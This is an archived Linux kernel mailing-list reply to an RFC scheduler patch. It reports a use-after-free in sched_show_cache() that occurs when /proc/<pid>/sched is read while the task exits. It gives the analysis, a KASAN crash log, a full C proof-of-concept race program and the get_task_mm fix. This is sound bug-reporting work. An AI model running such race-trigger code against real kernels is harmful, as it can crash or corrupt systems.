mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: XIAO WU <xiaowu.417@qq.com>
To: Jianyong Wu <wujianyong@hygon.cn>,
	mingo@redhat.com, peterz@infradead.org, juri.lelli@redhat.com,
	vincent.guittot@linaro.org, dietmar.eggemann@arm.com,
	rostedt@goodmis.org, bsegall@google.com, mgorman@suse.de,
	vschneid@redhat.com, kprateek.nayak@amd.com,
	sshegde@linux.ibm.com, linux-kernel@vger.kernel.org,
	yu.c.chen@intel.com, tim.c.chen@linux.intel.com
Cc: justin.he@arm.com, zhongyuan@hygon.cn, yingzhiwei@hygon.cn,
	huangsj@hygon.cn
Subject: Re: [RFC PATCH 8/8] sched/debug: Print task preferred LLC for scheduler debugging
Date: Mon, 29 Jun 2026 03:29:25 +0800	[thread overview]
Message-ID: <tencent_211B975024CBC27863929B9003111BE18609@qq.com> (raw)
In-Reply-To: <20260625030759.25928-9-wujianyong@hygon.cn>

Hi Jianyong,

I came across the Sashiko AI review of this series and reproduced the
use-after-free it flagged in sched_show_cache() — a KASAN
slab-use-after-free triggers when reading /proc/<pid>/sched while the
target task is concurrently exiting.

The Sashiko review is at:
https://sashiko.dev/#/patchset/20260625030759.25928-1-wujianyong@hygon.cn

 > +static void sched_show_cache(struct task_struct *p, struct seq_file *m)
 > +{
 > +#ifdef CONFIG_SCHED_CACHE
 > +    struct mm_struct *mm = p->mm;
 > +    int sc_cpu, sc_llc, sc_node, pref_llc, pref_node;
 > +
 > +    if (!mm)
 > +        return;
 > +
 > +    sc_cpu = READ_ONCE(mm->sc_stat.cpu);

This saves p->mm into a local variable and checks it for NULL, but
does so without holding task_lock(p) or taking a reference via
get_task_mm().  If the target task is concurrently exiting,
exit_mm() can drop the final reference and free the mm_struct
between the NULL check and the READ_ONCE(mm->sc_stat.cpu) access,
resulting in a slab-use-after-free.

The access happens from proc_sched_show_task() which is reachable
via /proc/<pid>/sched — userspace can trigger this for any visible
task by simply reading the proc file while the task exits.

=== Reproduction ===

Kernel: 7.1.0-rc2-gd93b88951718 #1 PREEMPT(full)
Arch:   x86_64 (QEMU Standard PC Q35 + ICH9, 2009)
Config: CONFIG_KASAN=y, CONFIG_SCHED_CACHE=y

Trigger: race fork/exit against /proc/<pid>/sched reads.  16 worker
threads each fork children and read /proc/<child_pid>/sched while
the child immediately exits.

=== Crash Log ===

[  991.032119][T535366] BUG: KASAN: slab-use-after-free in 
proc_sched_show_task+0x30c7/0x3470
[  991.032971][T535366] Read of size 4 at addr ffff88802fe0d960 by task 
poc/535366
[  991.033952][T535366] CPU: 1 UID: 0 PID: 535366 Comm: poc Not tainted 
7.1.0-rc2-gd93b88951718 #1 PREEMPT(full)
[  991.033962][T535366] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009)
[  991.033967][T535366] Call Trace:
[  991.033970][T535366]  <TASK>
[  991.033973][T535366]  dump_stack_lvl+0x116/0x1f0
[  991.033989][T535366]  print_report+0xf4/0x600
[  991.034021][T535366]  kasan_report+0xe0/0x110
[  991.034032][T535366]  ? proc_sched_show_task+0x30c7/0x3470
[  991.034043][T535366]  proc_sched_show_task+0x30c7/0x3470
[  991.034054][T535366]  sched_show+0xf4/0x1b0
[  991.034062][T535366]  seq_read_iter+0x513/0x12d0
[  991.034074][T535366]  seq_read+0x3b1/0x590
[  991.034093][T535366]  vfs_read+0x1e9/0xd00
[  991.034153][T535366]  ksys_read+0x12f/0x250
[  991.034220][T535366]  do_syscall_64+0x129/0x880
[  991.034240][T535366]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  991.034250][T535366]  </TASK>

The Read of size 4 at an offset into a freed mm_struct matches the
READ_ONCE(mm->sc_stat.cpu) access racing against exit_mm().

=== PoC ===

Build:  gcc -o poc poc.c -static
Run:    ./poc

/* sched_show_cache UAF PoC — race fork/exit against /proc/<pid>/sched */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>

static void worker(void)
{
     char buf[64], path[64];
     for (int i = 0; i < 50000000; i++) {
         pid_t pid = fork();
         if (pid == 0) { _exit(0); }
         if (pid > 0) {
             snprintf(path, 64, "/proc/%d/sched", pid);
             int fd = open(path, O_RDONLY);
             if (fd >= 0) { read(fd, buf, 63); close(fd); }
         }
     }
     _exit(0);
}

int main(void)
{
     signal(SIGCHLD, SIG_IGN);
     for (int i = 0; i < 16; i++)
         if (fork() == 0) { worker(); }
     while (wait(NULL) > 0);
     return 0;
}

The fix is to use get_task_mm(p) / mmput(mm) around the mm access,
which safely pins the mm_struct for the duration of the read.

Thanks,
Xiao


  reply	other threads:[~2026-06-28 19:29 UTC|newest]

Thread overview: 13+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-06-25  3:07 [RFC PATCH 0/8] sched: Extend cache-aware scheduling into topology-aware scheduling Jianyong Wu
2026-06-25  3:07 ` [RFC PATCH 1/8] sched/topo: Add some llc related helpers Jianyong Wu
2026-06-25  3:07 ` [RFC PATCH 2/8] sched/fair: Introduce helpers for cross-domain migration decisions Jianyong Wu
2026-06-25  3:07 ` [RFC PATCH 3/8] sched/fair: Introduce rq affinity gain calculation for migration selection Jianyong Wu
2026-06-25  3:07 ` [RFC PATCH 4/8] sched/fair: Pick optimal src rq/group using affinity promotion metric Jianyong Wu
2026-06-25  3:07 ` [RFC PATCH 5/8] sched/fair: Drop prefer_sibling restriction for llc_balance Jianyong Wu
2026-06-25  3:07 ` [RFC PATCH 6/8] sched/fair: Judge migration eligibility via NUMA-wide Jianyong Wu
2026-06-25  3:07 ` [RFC PATCH 7/8] sched: Let sched cache take precedence over NUMA balancing Jianyong Wu
2026-06-25  3:07 ` [RFC PATCH 8/8] sched/debug: Print task preferred LLC for scheduler debugging Jianyong Wu
2026-06-28 19:29   ` XIAO WU [this message]
2026-06-30  2:03     ` Jianyong Wu
2026-06-25  8:42 ` [RFC PATCH 0/8] sched: Extend cache-aware scheduling into topology-aware scheduling Peter Zijlstra
2026-06-25 12:12   ` Jianyong Wu

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=tencent_211B975024CBC27863929B9003111BE18609@qq.com \
    --to=xiaowu.417@qq.com \
    --cc=bsegall@google.com \
    --cc=dietmar.eggemann@arm.com \
    --cc=huangsj@hygon.cn \
    --cc=juri.lelli@redhat.com \
    --cc=justin.he@arm.com \
    --cc=kprateek.nayak@amd.com \
    --cc=linux-kernel@vger.kernel.org \
    --cc=mgorman@suse.de \
    --cc=mingo@redhat.com \
    --cc=peterz@infradead.org \
    --cc=rostedt@goodmis.org \
    --cc=sshegde@linux.ibm.com \
    --cc=tim.c.chen@linux.intel.com \
    --cc=vincent.guittot@linaro.org \
    --cc=vschneid@redhat.com \
    --cc=wujianyong@hygon.cn \
    --cc=yingzhiwei@hygon.cn \
    --cc=yu.c.chen@intel.com \
    --cc=zhongyuan@hygon.cn \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®